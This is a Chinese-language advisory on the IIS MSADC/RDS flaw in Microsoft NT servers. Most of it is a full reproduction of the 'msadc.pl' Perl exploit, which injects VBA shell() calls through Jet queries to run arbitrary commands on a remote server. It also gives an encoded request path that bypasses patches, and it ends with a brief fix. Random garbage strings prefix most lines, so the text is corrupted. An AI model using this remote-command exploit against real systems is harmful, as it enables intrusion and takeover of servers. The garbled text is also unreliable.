IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!b_(|~7Lc OGg\VV' 涉及程序：
F/ZFO5C% Microsoft NT server
|P]W#~Y- }O7sP^ 描述：
we[+6Z6J 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
D(ItNMc Ku =s":Mx,o
详细：
rlR!Tc> 如果你没有时间读详细内容的话，就删除:
Fc@R,9 c:\Program Files\Common Files\System\Msadc\msadcs.dll
"'bl)^+?, 有关的安全问题就没有了。
%B\x
%e ;P 3as=EYm 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Hh Q0> j~>{P=_} 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
beo(7,=& 关于利用ODBC远程漏洞的描述，请参看:
:=y5713 z EU[u7% http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Q&.uL}R 0zNbux _ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
@\w}p E http://www.microsoft.com/security/bulletins/MS99-025faq.asp +ZNOvc sV \1G '{# Q 这里不再论述。
u ,3B[ y:98}gW`n 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
AC1RP`c \4wM v[;7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#dae^UjM 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
0#OyT'~V% <~5O-.G] F:q4cfL6 #将下面这段保存为txt文件，然后: "perl -x 文件名"
NH|I >vyN _ cQ
'3@ #!perl
"W"^0To #
vcdVck@ # MSADC/RDS 'usage' (aka exploit) script
3!l>\ #q6 #
9{OO'at? # by rain.forest.puppy
uQ-GJI^t #
=(
|%%,3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
={;pg( # beta test and find errors!
IWu=z!mO |:5O|m ' use Socket; use Getopt::Std;
ldUZ\z(* getopts("e:vd:h:XR", \%args);
v|(]u3=1_ nQmHYOF% print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
q~
a FV<Q nSyLt6zn\ if (!defined $args{h} && !defined $args{R}) {
]S4" JcM print qq~
I :<,9. Usage: msadc.pl -h <host> { -d <delay> -X -v }
xg/( -h <host> = host you want to scan (ip or domain)
uQvTir*e -d <seconds> = delay between calls, default 1 second
.4\I?
-X = dump Index Server path table, if available
I}bu -v = verbose
%3qjgyLZ| -e = external dictionary file for step 5
pFY* Y>6ar FzX ;~CA Or a -R will resume a command session
>[aR8J/U ?pZU'5le` ~; exit;}
5zBA ]1PY GP c
B( $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Kg';[G\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
(|<S%?}J if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
fX`u"`o5 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
bUS:c
2" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4Y?2u if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5kw
K% zN!W_2W* if (!defined $args{R}){ $ret = &has_msadc;
[ @lK[7 u die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
_">F]ptI; YCiG~y/~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
T;(,9>Qsu . "cmd /c ";
v_5qE $in=<STDIN>; chomp $in;
ru 6`Z+p $command="cmd /c " . $in ;
(.P}>$M9 `15}jTi if (defined $args{R}) {&load; exit;}
z )hK 2JD 8%CznAO"?W print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
e2 c'Wab &try_btcustmr;
MS;^: t1` <8 <P, print "\nStep 2: Trying to make our own DSN...";
=h4u N , &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
IW!x!~e "<0 !S~] print "\nStep 3: Trying known DSNs...";
:bct+J}l~ &known_dsn;
O80Z7 xcw:H&\w6 print "\nStep 4: Trying known .mdbs...";
}&=l)\e &known_mdb;
OU%"dmSDk g/. FJ-I* if (defined $args{e}){
VYb,Hmm>kC print "\nStep 5: Trying dictionary of DSN names...";
Ld*Ds!*'/ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
TNqL ')f 4j3_OUwWZx print "Sorry Charley...maybe next time?\n";
5go)D+6s exit;
I[&x -}w s U`#hL6; ##############################################################################
. 5;
JnJI Pr}
l
y sub sendraw { # ripped and modded from whisker
=? !FO'zt" sleep($delay); # it's a DoS on the server! At least on mine...
(E0WZ $f} my ($pstr)=@_;
k_}$d{X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$ V 3If die("Socket problems\n");
<lFHmi$qt{ if(connect(S,pack "SnA4x8",2,80,$target)){
esTL3 l{[ select(S); $|=1;
?MFC(Wsh
print $pstr; my @in=<S>;
C '[4jz0xF select(STDOUT); close(S);
{2 q"9Ox" return @in;
CrI<rD%' } else { die("Can't connect...\n"); }}
&'12,'8 _DSDY$ Ec ##############################################################################
Zuzwc [Z1 VgXT4g O! sub make_header { # make the HTTP request
(nLzWvN my $msadc=<<EOT
m#BXxS#B<_ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
c\ZI
5&4jT User-Agent: ACTIVEDATA
X[?f U& Host: $ip
1sg:8AA Content-Length: $clen
cZN<}n+q Connection: Keep-Alive
ys[xR=nbD ]mtiIu [ ADCClientVersion:01.06
QaO9-:]eN Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
t+A*Ws*o u|wl;+. --!ADM!ROX!YOUR!WORLD!
$Mg O)bH Content-Type: application/x-varg
h$`m0-' Content-Length: $reqlen
I@m (} Wy-_}wqHg EOT
AAfU]4u0S ; $msadc=~s/\n/\r\n/g;
,K}"o~z return $msadc;}
vGsAM* vw6 vh.8m $, ##############################################################################
Os[z >H? m<j ;f sub make_req { # make the RDS request
OH>G c-V my ($switch, $p1, $p2)=@_;
@:w^j0+h my $req=""; my $t1, $t2, $query, $dsn;
SN"Y@y)= Mo3%OR if ($switch==1){ # this is the btcustmr.mdb query
[gUD + $query="Select * from Customers where City=" . make_shell();
|s/Kb ]t $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
r(wf >w3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
C"n!mr{srt O\Y*s elsif ($switch==2){ # this is general make table query
3. dSS $query="create table AZZ (B int, C varchar(10))";
a :*N0 $dsn="$p1";}
yH:p*|% : &I
~'2mpk elsif ($switch==3){ # this is general exploit table query
{=?[:5 $query="select * from AZZ where C=" . make_shell();
3 8&K" $dsn="$p1";}
XS2/U<s d x$jLB&+ICz elsif ($switch==4){ # attempt to hork file info from index server
F/J s K&& $query="select path from scope()";
rCqwJ oC`v $dsn="Provider=MSIDXS;";}
a\m=E#G z4D)Xy"/ elsif ($switch==5){ # bad query
'J*'{ $query="select";
F}mt
*UcMG $dsn="$p1";}
GTbV5{Ss sQ\ HIU%] $t1= make_unicode($query);
7p'pz8n`X $t2= make_unicode($dsn);
&jEw(P& _ $req = "\x02\x00\x03\x00";
9?sY!gXc $req.= "\x08\x00" . pack ("S1", length($t1));
dCn9]cj/ $req.= "\x00\x00" . $t1 ;
n\ Ls m $req.= "\x08\x00" . pack ("S1", length($t2));
N68]r 3/K $req.= "\x00\x00" . $t2 ;
V1Ft 3Msq $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5hEA/G return $req;}
,^
,R .T T*B`8P ##############################################################################
'S}3 lsIE hB<(~L? A] sub make_shell { # this makes the shell() statement
i ,~(_|-r return "'|shell(\"$command\")|'";}
rg[# ( +Goh`!$Rj9 ##############################################################################
xC
+ >R1) ])qnPoQ<n sub make_unicode { # quick little function to convert to unicode
lrkgsv6 my ($in)=@_; my $out;
LsG O~EiJ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3`D *AFQc return $out;}
Vq#0MY)2gS a"4X7
D+ ##############################################################################
,b^jAzow B :i$ sub rdo_success { # checks for RDO return success (this is kludge)
;L76V$& my (@in) = @_; my $base=content_start(@in);
A+Un(tU2( if($in[$base]=~/multipart\/mixed/){
rvhMu}. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ZX-A} return 0;}
x/]G"?Uix 6E ^m *la% ##############################################################################
c'?EI EP "<egm ^Yq sub make_dsn { # this makes a DSN for us
R I'}C`%v my @drives=("c","d","e","f");
AWFq5YMSI print "\nMaking DSN: ";
I^LU *A= foreach $drive (@drives) {
c<q33dZ!* print "$drive: ";
|R91| -H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
vfT
@;` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
iX2exJto . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
V?T&>s $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
E rA* a3 return 0 if $2 eq "404"; # not found/doesn't exist
9;*B*S~znW if($2 eq "200") {
OP(om$xm foreach $line (@results) {
fi'zk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
o6x8j z } return 0;}
&s n-;r YJwI@E (l$ ##############################################################################
U7zd7 O
`|nJAW3 sub verify_exists {
AVz9 07h8 my ($page)=@_;
2sqH
> fen my @results=sendraw("GET $page HTTP/1.0\n\n");
b~ ig$!N] return $results[0];}
@QpL*F S{XO3 ##############################################################################
|'}r-} V@G|2 Z I sub try_btcustmr {
l9%ckC *q my @drives=("c","d","e","f");
ZZ}HgPZ my @dirs=("winnt","winnt35","winnt351","win","windows");
B|^=2 >8s P"Q6 wdm foreach $dir (@dirs) {
Wl&6T1A`" print "$dir -> "; # fun status so you can see progress
jv29,46K foreach $drive (@drives) {
UY *Z`$ print "$drive: "; # ditto
66W J=? JV $reqlen=length( make_req(1,$drive,$dir) ) - 28;
W>CG;x{ $reqlenlen=length( "$reqlen" );
o<s~455m/ $clen= 206 + $reqlenlen + $reqlen;
M_$;"NS+} KCa @0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
um". Z4S if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
T.{]t6t$U
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#K-O<:s=y {v d +cE ##############################################################################
g_Y$5ft` _!Z}HCk sub odbc_error {
qp f|.m my (@in)=@_; my $base;
G! F_Q7|- my $base = content_start(@in);
Z_jV0[\v0P if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
%gqu7}' $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ql}#mC.>/ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sx[mbKj< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s<C66z return $in[$base+4].$in[$base+5].$in[$base+6];}
D _z&G) print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ba%b]v p print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`ST;";7! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
N4yQ,tG>aa .zW .IM}Z ##############################################################################
>6(e6/C-9 zU|'IW& sub verbose {
5NK yF my ($in)=@_;
}&Xf<6 return if !$verbose;
Z2]\k|%<Fa print STDOUT "\n$in\n";}
ZOJ7 ^g q+4<"b+6G ##############################################################################
7bM
H i94)DWZ^ sub save {
@, z4{B my ($p1, $p2, $p3, $p4)=@_;
WR* <| open(OUT, ">rds.save") || print "Problem saving parameters...\n";
cR6 #$-a print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
O~Dm|hP close OUT;}
(iO/@iw l2! ztK1^ ##############################################################################
m0Uk*~Gz
]>(pQD sub load {
2F ,?}jJ.K my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
unN*L open(IN,"<rds.save") || die("Couldn't open rds.save\n");
riglEA[^ @p=<IN>; close(IN);
FePWr7Ze $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
RDqQ6(e" $target= inet_aton($ip) || die("inet_aton problems");
Zq/=uB7Z print "Resuming to $ip ...";
`g} en%5b\ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>6zWOYd if($p[1]==1) {
,f~8:LHq $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~X) 1!Sr $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
K;g6V !U my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
b:*(
f#"q if (rdo_success(@results)){print "Success!\n";}
f1 Gyl else { print "failed\n"; verbose(odbc_error(@results));}}
gEq";B% ? elsif ($p[1]==3){
Xr|e%]!** if(run_query("$p[3]")){
h4>q~&Pd print "Success!\n";} else { print "failed\n"; }}
VpM(}QHd elsif ($p[1]==4){
7I@@} A if(run_query($drvst . "$p[3]")){
0ARj3 print "Success!\n"; } else { print "failed\n"; }}
A LR`z~ 1 exit;}
&nn+X% m9g R|7_iMIZ ##############################################################################
]<o^Q[OL /T<,v R sub create_table {
hQJ -
~ my ($in)=@_;
(Vy`u)gG $reqlen=length( make_req(2,$in,"") ) - 28;
l\ =He $reqlenlen=length( "$reqlen" );
Ot!*,%sjQ $clen= 206 + $reqlenlen + $reqlen;
VSc)0 eyn my @results=sendraw(make_header() . make_req(2,$in,""));
Z#_VxA>]v return 1 if rdo_success(@results);
$olITe"$g my $temp= odbc_error(@results); verbose($temp);
G8hDR^ra return 1 if $temp=~/Table 'AZZ' already exists/;
rEs Gf+4 return 0;}
c~Z\|Y`#B G]>P!] ##############################################################################
FPuF1@K j2! ^iGS} sub known_dsn {
z]Mu8 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
6Y= MW{=F my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`SESj)W(y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
6:Zd,N= "banner", "banners", "ads", "ADCDemo", "ADCTest");
l$!g# ?w oIY @xuj foreach $dSn (@dsns) {
ca!x{,Cvnj print ".";
JsQmn<Yt next if (!is_access("DSN=$dSn"));
v0~*?m4 if(create_table("DSN=$dSn")){
@{^6_n+gT% print "$dSn successful\n";
rt!Uix& if(run_query("DSN=$dSn")){
vqBT^Q_q; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bQ_N^[oxQ print "Something's borked. Use verbose next time\n";}}} print "\n";}
'sAs# h<f]hJ`ep ##############################################################################
*}N J lJXi hr sub is_access {
,OaPrAt- my ($in)=@_;
h*zHmkFR $reqlen=length( make_req(5,$in,"") ) - 28;
9|LV
x3] $reqlenlen=length( "$reqlen" );
2sqNTuO6,| $clen= 206 + $reqlenlen + $reqlen;
gPM<LO`;i my @results=sendraw(make_header() . make_req(5,$in,""));
\bWo"Yo my $temp= odbc_error(@results);
Z^vcODeC$ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
iN@+,]Yjl return 0;}
JlN <w ' +[fJ> Le ##############################################################################
gJI(d6 C XiSin sub run_query {
yBxWBW*e my ($in)=@_;
nQ^ <h. $reqlen=length( make_req(3,$in,"") ) - 28;
}Dc?Emb $reqlenlen=length( "$reqlen" );
;AK@K b $clen= 206 + $reqlenlen + $reqlen;
}c0EGoU}? my @results=sendraw(make_header() . make_req(3,$in,""));
zJa,kN|m return 1 if rdo_success(@results);
dWAKIBe my $temp= odbc_error(@results); verbose($temp);
SXf Aw)-n return 0;}
){{]3r Snf1v H ##############################################################################
sa>}wz<o 3a]Omuu|= sub known_mdb {
ZU-vZD > my @drives=("c","d","e","f","g");
N| L Ey my @dirs=("winnt","winnt35","winnt351","win","windows");
mg7Q~ SLL{ my $dir, $drive, $mdb;
9-?[%8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d365{ )'gO?cN # this is sparse, because I don't know of many
C'j E'B5b my @sysmdbs=( "\\catroot\\icatalog.mdb",
bMpCQ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
J+6bp0RIh "\\system32\\certmdb.mdb",
/6@Wm? `DB "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
H- aSLc W At | J2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/5c;,.hm1R "\\cfusion\\cfapps\\forums\\forums_.mdb",
]f"l4ay@M "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
~%o? J"y "\\cfusion\\cfapps\\security\\realm_.mdb",
L[FNr& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
c|^#v8x^/ "\\cfusion\\database\\cfexamples.mdb",
%.*?i9} "\\cfusion\\database\\cfsnippets.mdb",
hJ1: #%Qe. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
XN1\!CM8 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
.TTXg,8#D "\\cfusion\\brighttiger\\database\\cleam.mdb",
r % ]^ ( "\\cfusion\\database\\smpolicy.mdb",
nXuoRZ "\\cfusion\\database\cypress.mdb",
;/phZ$ l "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
H6PS7g" "\\website\\cgi-win\\dbsample.mdb",
BVpRkUC" "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
L=wg"$ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
hhVyz{u ); #these are just
m;" i4! foreach $drive (@drives) {
m!-,K 8 foreach $dir (@dirs){
s&7,gWy}BE foreach $mdb (@sysmdbs) {
}6V` U9 ^g print ".";
3bp'UEF^k if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
oAgO 3x
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f}1R,N_fC if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+u:Q+PkM print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
,TAzJ } else { print "Something's borked. Use verbose next time\n"; }}}}}
9e|]H+y ^" ! j m foreach $drive (@drives) {
]M;aVw<! foreach $mdb (@mdbs) {
tzeS D C print ".";
aN5 w if(create_table($drv . $drive . $dir . $mdb)){
b8@gv OB print "\n" . $drive . $dir . $mdb . " successful\n";
s-He if(run_query($drv . $drive . $dir . $mdb)){
IT u6m<V print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.v3~2r*& } else { print "Something's borked. Use verbose next time\n"; }}}}
YQI&8~z }
T]%:+_,
phA^ kdW ##############################################################################
$m;rOKVU KF[P
/cFI sub hork_idx {
MH>CCT print "\nAttempting to dump Index Server tables...\n";
_bO4s#yI print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xN +j]L C $reqlen=length( make_req(4,"","") ) - 28;
aBO%qmtt $reqlenlen=length( "$reqlen" );
MWS=$N)v* $clen= 206 + $reqlenlen + $reqlen;
5`B ! 1 my @results=sendraw2(make_header() . make_req(4,"",""));
qd FYf/y if (rdo_success(@results)){
)NwIEk>Tf my $max=@results; my $c; my %d;
|hprk-R*OH for($c=19; $c<$max; $c++){
'}D$"2I* $results[$c]=~s/\x00//g;
^=nJ,-(h_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
: _>/Yd7-& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
b'N (eka $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;n Pjyu'g $d{"$1$2"}="";}
=2z9Aq{ foreach $c (keys %d){ print "$c\n"; }
P%6-W 5< } else {print "Index server doesn't seem to be installed.\n"; }}
+ W ?
/ A] *k(>Qsb " ##############################################################################
>~kSe=Hsb4 dX0"h5v1 sub dsn_dict {
X=<-rFW open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:-= ,([TJ while(<IN>){
vElVw.
P $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zd+_
BPT next if (!is_access("DSN=$dSn"));
72gQ<Si if(create_table("DSN=$dSn")){
Qifjv0&;u print "$dSn successful\n";
5 ap ~;t if(run_query("DSN=$dSn")){
h] (BTb#- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qd9C Kd print "Something's borked. Use verbose next time\n";}}}
mE"?{~X VL print "\n"; close(IN);}
S[bFS7[ j#TtY|Po ##############################################################################
+K3SAGm /=zzym~<> sub sendraw2 { # ripped and modded from whisker
S?bG U8R5 sleep($delay); # it's a DoS on the server! At least on mine...
]8|cV GMa my ($pstr)=@_;
eUyQS I4A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\k{UqU+s die("Socket problems\n");
e> Vr#a4 if(connect(S,pack "SnA4x8",2,80,$target)){
6O^'J~wiI print "Connected. Getting data";
t$sL6|Ww}o open(OUT,">raw.out"); my @in;
S?W!bkfn select(S); $|=1; print $pstr;
G &'eP while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
KrhAObK close(OUT); select(STDOUT); close(S); return @in;
mr+J# } else { die("Can't connect...\n"); }}
gxX0$\8o7 p: 9)}y ##############################################################################
KB$s7S"= GT[,[l sub content_start { # this will take in the server headers
%=:*yf>} my (@in)=@_; my $c;
/ -ebx~FX& for ($c=1;$c<500;$c++) {
eGZX 6Q7m if($in[$c] =~/^\x0d\x0a/){
F F"6~ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
. mDh9V5 else { return $c+1; }}}
_R!KHi return -1;} # it should never get here actually
x<'(b7{U0 k\ T,C Z< ##############################################################################
Hnv{sND[ 'sCj \N sub funky {
>g%^hjJ my (@in)=@_; my $error=odbc_error(@in);
u.wm;eK[ if($error=~/ADO could not find the specified provider/){
GbC-6 .~ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&j\<UPn exit;}
=#@eDm% if($error=~/A Handler is required/){
Yq; |Me{h print "\nServer has custom handler filters (they most likely are patched)\n";
E\V-< ]o exit;}
OC|9~B1 if($error=~/specified Handler has denied Access/){
D}SYv})Ti print "\nServer has custom handler filters (they most likely are patched)\n";
EK^B=)q6:W exit;}}
;- D1n b _&;i4 [ ##############################################################################
o#KGENd /P~@__XN sub has_msadc {
sN^3bfi!i my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
&+?JY|u my $base=content_start(@results);
@(Mg>.P return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
\bze-|C return 0;}
r7z8ICX'q , ~
D_T ########################
6N}>@Y5 `mro2A 8Z TN 解决方案：
r)P^CZm 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;}!hgyq 2、移除web 目录: /msadc
